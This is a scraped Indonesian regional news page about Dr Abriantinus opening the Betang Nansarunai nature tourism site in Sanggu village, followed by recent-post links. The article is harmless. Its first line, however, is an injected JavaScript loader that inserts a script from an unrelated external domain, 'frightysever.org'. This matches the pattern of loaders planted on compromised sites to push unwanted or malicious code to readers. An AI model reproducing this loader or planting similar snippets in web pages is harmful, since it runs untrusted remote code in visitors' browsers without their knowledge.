(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pariwisata

Terpanggil Bangun Kampung Halaman, Abriantinus Buka Wisata Alam Betang Nansarunai


BUNTOK, Setelah 30 tahun merantau ke Balikpapan, Kaltim, Dr Abriantinus MA pulang ke kampung halaman membangun objek wisata alam Betang Nansarunai di atas tanah seluas kurang lebih 7 hektare.

Abriantinus mengatakan, dirinya selama ini cukup lama berada di kampung halaman orang, merasa terpanggil untuk ikut serta membangun Barsel, terutama lewat objek wisata alam Betang Nansarunai yang berlokasi di desa Sanggu.

“Paling tidak saya ingin mengenalkan kampung halaman saya lewat wisata alam yang telah saya buat sejak awal tahun 2019,” katanya kepada Kanalkalimantan.com, Minggu (14/7).

Ia mengatakan, objek wisata alam ini telah resmi di buka sejak pertengahan bulan Juni, dan dirinya tidak menyangka kurang lebih sebulan ini pengunjung yang datang sudah ribuan lebih.

“Saya tidak menyangka pengunjung yang datang tiap hari ratusan lebih, apa lagi bila hari Sabtu dan Minggu bisa mencapai ribuan dari penjualan tiket masuk yang kami jual,” ucap Abriantinus.

Pria asli kelahiran desa Sanggu itu menjelaskan, untuk objek wisata yang ia bangun, lebih mengandalkan khas panorama alam yang masih asli. Ada Huma Betang tempat tinggal asli orang dayak yang nantinya mungkin akan jadi ikon dari objek wisata ini.

“Jadi objek wisata yang kita sodorkan khas panorama alam yang masih asri dan ikon andalan kita merupakan Huma Betang tempat tinggal orang dayak,” ujar Abriantinus.

Ditambahkan olehnya sekaligus berharap lewat objek wisata ini paling tidak bisa mengenalkan desa Sanggu, yang kaya akan banyaknya objek wisata lain. Lewat objek wisata ini kiranya bisa turut membantu daerah baik lewat PAD atau dari segi lainnya nanti.

“Kita harap desa Sanggu semakin banyak dikenal orang baik dari segi sejarahnya atau wisatanya dan juga bisa membantu daerah lewat PAD nantinya,” pungkas Abriantinus. (digdo)

Reporter: Digdo
Editor: Bie

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

2 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

5 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

5 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

7 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

9 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

10 jam ago

This website uses cookies.